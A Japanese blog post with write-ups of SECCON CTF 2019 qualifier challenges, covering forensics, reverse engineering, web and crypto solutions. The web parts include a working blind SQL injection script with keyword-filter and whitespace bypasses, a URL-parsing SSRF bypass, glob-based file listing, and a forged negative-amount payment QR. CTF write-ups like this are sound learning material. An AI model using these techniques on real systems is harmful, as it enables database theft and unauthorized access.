nomeaning blog.

SECCON CTF 2019 Quals Writeup

個人で参加して 35 位。取り組めた時間が少なかったとはいえ、もうちょっとフラグを取りたかったところ。

Welcome(Misc 50pts)

IRC に入ると Topic 上にフラグがある。

SECCON{Welcome to the SECCON 2019 Online CTF}

Thank you for playing!(Misc 50pts)

問題文にフラグが書いてある。この手の問題はアンケートが付いていることが多い印象だけど、今回はなし。

SECCON{We have done all the challenges. Thank you!}

Beeeeeeeeeer(Misc 110pt)

bash スクリプト。エスケープやシェル置換で読みづらくしているが、セミコロンで改行したり気合で解析していった。

解析結果は以下の通り https://gist.github.com/nomeaning777/99a24af4ed90355ba7cf567278f6b8f9

最終的に一つ目のスクリプトで環境変数S1=hogefugaが設定され、Base64Decode された 2 つ目のスクリプトでnに 3 が設定され、最後に出てくるスクリプトのパスワードはbashとなったため、フラグは以下のようになった。

SECCON{hogefuga3bash}

Sandstorm(Misc 279pts)

PHP の IDAT の zlib ストリームを展開したところ、ファイルサイズが(4W+1)*H になっていなかった。調べたところ、インターレス PNG はちょっと異なる形式でエンコードされているということなので、抽出するプログラムを作成した。


# coding: ASCII-8BIT
outputs = File.binread('output')
require 'zlib'
w = 584
h = 328

pass = [
    [8, 8, 0, 0,],
    [8, 8, 4, 0,],
    [4, 8, 0, 4,],
    [4, 4, 2, 0,],
    [2, 4, 0, 2,],
    [2, 2, 1, 0,],
    [1, 2, 0, 1,],
]
sz = 0
offset = 0
pass.each.with_index(0) do |(xFactor, yFactor, xOffset, yOffset), i|
    sh = (h / yFactor)
    sw = (w / xFactor * 4 + 1)
    idat = outputs[offset, sw * sh]
    sh.times do |i|
        offset += sw
    end
    png = "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a"
    ['IHDR', 'IDAT', 'IEND'].each do |chunk|
        if chunk == 'IDAT'
            data = Zlib.deflate(idat)
            p data
        elsif chunk == 'IEND'
            data = ''
        else
            data = [w / xFactor, sh, 8, 6, 0, 0, 0].pack('NNCCCCC')
        end
        png += [data.size].pack('N')
        png += chunk
        png += data
        png += [Zlib.crc32(chunk + data)].pack("N*")
    end
    File.binwrite('output-%d.png' % i, png)
end
p sz

最初のファイルに QR コードが含まれていて、それを読み込ませたところフラグが表示された。

SECCON{p0nlMpzlCQ5AHol6}

follow-me(Reverse 225pts)

まず、PIE のバイナリなので、trace ファイルに出てくるアドレスがバイナリのものと異なるが、trace ファイルの image_load にベースのアドレスが出力されているので、それとの差分を取ることでバイナリ上のアドレスに変換する。 後は、各分岐毎に逆アセンブルや逆コンパイル結果を読んで意味を把握する。 最後に条件を満たす数値を手動+SMT ソルバーで探索した。 以下のプログラムは、SMT ソルバー(z3)を利用する Python プログラムと、数字の部分を 0 に置き変えた元の文字列を出力する。

require 'json'
ignores = [0x5de, 0xf44, 0x765, 0x6f6, 0xf64, 0xeae, 0x630, 0x620, 0xbd6, 0x610, 0x727, 0x735, 0x650, 0x6a5]
commands = {
    0xe87 => 'main_loop',
    0xbe9 => "if cur_char != ','",
    0xc1c => "if cur_char < '0'",
    0xc22 => "if cur_char > '9'",
    0xc4f => "number",
    0xc58 => "if cur_char != '+'",
    0xcaf => "if cur_char != '-'",
    0xd06 => "if cur_char != '*'",
    0xd5d => "if cur_char != 'm'",
    0xdb4 => "if cur_char != 'M'",
    0xbef => "if state == '1'",
    0xc13 => 'state = 0',
    0x93e => 'push stack',
    0x8dc => 'pop stack', # always false
    0xdab => 'min',
    0xcfd => 'minus',
    0xe02 => 'max',
    0xa0b => 'plus(ignore)',
    0xa1f => 'arg2(plus) % 10(++)',
    0xca6 => 'plus(ignore)',
    0xa5b => 'mul(ignore)',
    0xa81 => 'arg2(mul)(++)',
    0xd54 => 'mul(ignore)',
}
stack = []
conditions = []
chars = ''
plus_num = 0
base_offset = 0
trace = JSON.parse(File.read('calc.trace'))
trace = JSON.parse(File.read('branchtrace.out'))
nums = 0
cur_arg2 = nil
trace.each do |event|
    if event['event'] == 'image_load'
        if event['image_name'].end_with?('calc')
            base_offset = event['base_addr'][2..].to_i(16)
            # p base_offset
        end
        next
    elsif event['event'] == 'exit'
        next
    end
    fail unless event['event'] == 'branch'
    taken = event['branch_taken']
    offset = event['inst_addr'][2..-1].to_i(16) - base_offset
    next if ignores.include?(offset)

    cmd = commands[offset]
    # p('%x, %s, %s' % [offset, cmd, taken])
    case offset
    when 0xc22
        chars += '0' if !taken
    when 0xbe9
        if !taken
            chars += ','
            stack << ('x' + nums.to_s)
            # p stack
            nums += 1
        end
    when 0xc58
        if !taken
            chars += '+'
            plus_num = 0
            arg2 = stack.pop
            arg1 = stack.pop
            cur_arg2 = arg2
            stack << "((#{arg1})+(#{arg2}))"
        end
    when 0xcaf
        if !taken
            chars += '-'
            arg2 = stack.pop
            arg1 = stack.pop
            stack << "((#{arg1})-(#{arg2}))"
        end
    when 0xd06
        if !taken
            chars += '*'
            arg2 = stack.pop
            conditions << "#{arg2} == 1"
            arg1 = stack.pop
            cur_arg2 = arg1
            stack << "((#{arg1})*(#{arg2}))"
        end
    when 0xd5d
        if !taken
            chars += 'm'
            arg2 = stack.pop
                arg1 = stack.pop
            stack << "min((#{arg1}), (#{arg2}))"
        end
    when 0xdb4
        if !taken
        chars += 'M'
        arg2 = stack.pop
        arg1 = stack.pop
        stack << "max((#{arg1}), (#{arg2}))"
        end
    when 0xa1f
        if taken
            plus_num += 1
        else
            # p plus_num
            conditions << "(#{cur_arg2} % 10) == #{plus_num}"
            plus_num = 0
        end
    end
    fail unless cmd
    # p chars
    # p stack
end
# p chars
nums.times do |i|
    conditions << "0 <= x#{i}"
    conditions << "x#{i} < 1000"
end
conditions << "x15 == 1"
conditions << "x16 == 1"
conditions << "x17 == 1"
conditions << "x13 == 3"
conditions << "x14 == 0"
conditions << "x11 == 0"
conditions << "x12 == 0"
conditions << "x10 == 8"
puts
puts "from z3 import *"
puts <<EOS
def min(x,y):
    return If(x>y,y,x)

def max(x,y):
    return If(x<y,y,x)

EOS
puts "s = Solver()"
puts "xs = []"
nums.times do |i|
    puts "x#{i} = Int('x#{i}')"
    puts "xs.append(x#{i})"
end
conditions.each do |c|
    puts "s.add(#{c})"
end
puts "print s.check()"
puts <<EOS
for i in xs:
    print s.model()[i].as_long()
EOS
p chars

プログラムの出力結果から、元の数式の候補のうちの一つ求まった。

$ curl -q -H 'Content-Type:application/json' -d "{\"input\": \"008,000,000,000,000,0000,000,mm-mM-000,000,000,mm-008,000,000,003,000,-+-M+001,001,001,mm*\"}" http://follow-me.chal.seccon.jp/submit/quals/0
SECCON{Is it easy for you to recovery input from execution trace? Keep hacking:)}

PP-Keyboard(Reverse 352pts)

まず、tshark を利用して USB の通信の data 部分のみを抽出した。

$ tshark -r packets.pcapng -T fields -e usb.capdata

data 部分は元のバイナリの次の場所で利用されている。

void __fastcall sub_140001070(__int64 a1, int a2, __int64 a3, unsigned int a4)
{
  if ( a2 == 963 && a4 > 0x7F0000 )
  {
    if ( (unsigned __int8)a4 == 151 )
    {
      sub_140001010("0x%x");
    }
    else if ( (unsigned __int8)a4 == 153 )
    {
      sub_140001010(asc_140002288);
    }
  }
}

これを元に再現するプログラムを作成した所、フラグが得られた。

data = File.read('capdata.txt').split
data.each do |d|
    d = [d.split(':').join[2..-1] + '00'].pack('H*').unpack1('I')
    if d > 0x7f0000
        if d % 256 == 151
            print "%x" % (((d & 0xfff) - 151) >> 8)
        elsif d % 256 == 153
            print "%x" % (((d & 0xfff) - 153) >> 8)
        end
    end
end
SECCON{3n73r3d_fr0m_7h3_p3rf0rm4nc3_p4d_k3yb04rd}

Option-Cmd-U(Web 190pts)

http://a@nginx/flag.phpのような文字列を URLParse すると、a@nginxがホスト名となるためホスト名のチェックを通過する。HTTP からのデータの取得時には URL が idn_to_ascii によって変換されるため、http://a@nginx/flag.phpとなり、これはユーザー名aでホスト名がnginxということになるので無事目的のサーバーにリクエストできる。

SECCON{what_a_easy_bypass_314208thg0n423g}

web_search(Web 212pts)

orandがフィルターで削除されているが、これらは、oorrのようにすることでバイパスできる。 ,や(半角空白)の削除はバイパスできないが、空白文字列は’(タブ)で代替することができる。 ,の利用の JOIN による回避が思い付かず、思考停止でブラインド SQL Injection をしてしまった。

require 'shellwords'

target = "' and '%s' < (select hex(group_concat(table_name)) from information_schema.columns WHERE table_schema = database()) ; -- " # flag,articles,articles,articles,articles,articles
target = "' and '%s' < (select hex(group_concat(column_name)) from information_schema.columns WHERE table_schema = database()) ; -- " # piece,id,title,description,reference,status
target = "' and '%s' < (select hex(piece) from flag); -- " # You_Win_Yeah}
target = "' and '%s' < (select hex(group_concat(description)) from articles where status = 1); -- " # "The flag is \"SECCON{Yeah_Sqli_Success_

def check(query)
    p query
    query.gsub!('or', 'oorr')
    query.gsub!('and', 'aandnd')
    query.gsub!(" ", "\t")
    ret = `curl -g -s #{('http://web-search.chal.seccon.jp/?q=' + query).shellescape}`
    fail ret if ret.include?("Error\n<p>\n")
    ret.size > 1000
end
result = ''
while true
    low, high = 10, 128
    while low + 1 < high
        mid = (low + high) / 2
        if check(target % ((result + mid.chr).unpack1('H*')))
            low = mid
        els
            high = mid
        end
    end
    result += low.chr
    p result
end
SECCON{Yeah_Sqli_Success_You_Win_Yeah}

File Uploader(Web 345pts)

ファイル一覧の列挙はDir.glob'\0'は区切り文字とする仕様を利用しておこなうことができる。

$ curl -g 'http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/'  --output -

実際のファイルの取得時には'\0'を含めることが出来ないので、is_bad_charがマッチしない[]を見つけたらマッチする{}が存在してもスルーする問題を利用して、ファイルを指定する。

$ curl -g 'http://fileserver.chal.seccon.jp:9292/%7b,%5c%5b%7d/tmp/flags/gLDFPzpsZECShkdFtRXAG7u0KDWxDBtk.txt'
SECCON{You_are_the_Globbin'_Slayer}

coffee break(Crypto 56pts)

逆変換を書く

require 'openssl'

a = 'FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905'.unpack1('m')
c = OpenSSL::Cipher.new('AES-128-ECB')
c.key = "seccon2019" + "\0" * 6
b = c.update(a) + c.final
p b
key = "SECCON"
s = ''
b.size.times do|i|
    s += (((b[i].ord - 0x20) - (key[i % key.size].ord - 0x20)) % (0x7e - 0x20 + 1) + 0x20).chr
end
p s
SECCON{Success_Decryption_Yeah_Yeah_SECCON}

Zkpay(Crypto 308pts)

QR をいくつか作成してみて、zbarimg によって中身を確認すると、金額に関わらず同じproofが出力されていることが分かった。

username=ellie&amount=490&proof=MKhvdQyojkBCOtf1d5aBGf59usM8yFEwgmhu00mG/e4KMSAwrJktLJs1aaGUxqCWoGZ72tpDQxpEXoT4Frla+MSYTCYxCjAoJu+maSYchK542+zazOuiqwf2+3gGG05LnYQiKxLOIHSgybzA2gbXBN5ViE5uAdLXd3jGN74PBniMsjfRgegmMCAweibxPP7GPlHpyn33H0AFUax+FuizUPnccxSK4u4cWjAwCjB0nh4Wv9V8IpTG1XOrltlc4UnJ8iJITWgwIGX6vtDIETEgMBljT3MdCP3txAFVEgqeVOypvDHoAqhyue0Ib43xj5MPMAowB+V2GKdjOH8v4uFyLDkwxGE+z+o2SKHgkztUrUyW1igwCjCA3XA8lrZsMg6sqfVFh9SwaTvUW25Pvjv51VpXLXQnLDEK&hash=aa68adfa264bbf154fed93f9d0c5c04d9c172b567dc7fc08d3dd2ea063bc1cb9
username=ellie&amount=1&proof=MKhvdQyojkBCOtf1d5aBGf59usM8yFEwgmhu00mG/e4KMSAwrJktLJs1aaGUxqCWoGZ72tpDQxpEXoT4Frla+MSYTCYxCjAoJu+maSYchK542+zazOuiqwf2+3gGG05LnYQiKxLOIHSgybzA2gbXBN5ViE5uAdLXd3jGN74PBniMsjfRgegmMCAweibxPP7GPlHpyn33H0AFUax+FuizUPnccxSK4u4cWjAwCjB0nh4Wv9V8IpTG1XOrltlc4UnJ8iJITWgwIGX6vtDIETEgMBljT3MdCP3txAFVEgqeVOypvDHoAqhyue0Ib43xj5MPMAowB+V2GKdjOH8v4uFyLDkwxGE+z+o2SKHgkztUrUyW1igwCjCA3XA8lrZsMg6sqfVFh9SwaTvUW25Pvjv51VpXLXQnLDEK&hash=aa68adfa264bbf154fed93f9d0c5c04d9c172b567dc7fc08d3dd2ea063bc1cb9

ということで、金額をマイナスにして QR イメージを作成して、別のユーザーでその QR を読み込ませたところ、元のユーザーの金額を 1e6 以上にすることが出来た。

$ qrencode -o hoge.png 'username=ellie&amount=-10000000&proof=MKhvdQyojkBCOtf1d5aBGf59usM8yFEwgmhu00mG/e4KMSAwrJktLJs1aaGUxqCWoGZ72tpDQxpEXoT4Frla+MSYTCYxCjAoJu+maSYchK542+zazOuiqwf2+3gGG05LnYQiKxLOIHSgybzA2gbXBN5ViE5uAdLXd3jGN74PBniMsjfRgegmMCAweibxPP7GPlHpyn33H0AFUax+FuizUPnccxSK4u4cWjAwCjB0nh4Wv9V8IpTG1XOrltlc4UnJ8iJITWgwIGX6vtDIETEgMBljT3MdCP3txAFVEgqeVOypvDHoAqhyue0Ib43xj5MPMAowB+V2GKdjOH8v4uFyLDkwxGE+z+o2SKHgkztUrUyW1igwCjCA3XA8lrZsMg6sqfVFh9SwaTvUW25Pvjv51VpXLXQnLDEK&hash=aa68adfa264bbf154fed93f9d0c5c04d9c172b567dc7fc08d3dd2ea063bc1cb9'
SECCON{y0u_know_n07h1ng_3xcep7_7he_f4ct_th47_1_kn0w}

Crazy Repetition of Codes(Crypto 326pts)

Zlib には CRC の拡張処理が入っていることと、CRC32 の周期が231 − 1であることを利用して繰り返し二乗法のように解いた。

Key の導出

require 'zlib'

def crc_repeat(str, count)
    crc = Zlib.crc32(str)
    length = str.length
    res = 0
    while count > 0
        res = Zlib.crc32_combine(res, crc, length) if count.odd?
        crc = Zlib.crc32_combine(crc, crc, length)
        length = (length * 2) % (2**32 - 1)
        count /= 2
    end
    res
end

key = [
    crc_repeat('TSG', ("1" * 10000).to_i),
    crc_repeat('is', ("1" * 10000).to_i),
    crc_repeat('here', ("1" * 10000).to_i),
    crc_repeat('at', ("1" * 10000).to_i),
    crc_repeat('SECCON', ("1" * 10000).to_i),
    crc_repeat('CTF!', ("1" * 10000).to_i),
].pack('I>*')
p key.unpack('H*')

復号処理

from Crypto.Cipher import AES

key = bytes.fromhex("b09bc54fe4a5927b8d3fef85b345bf3f5af656b0db496954")

aes = AES.new(key, AES.MODE_ECB)
encoded = aes.decrypt(bytes.fromhex('79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e'))
print(encoded)
SECCON{Ur_Th3_L0rd_0f_the_R1NGs}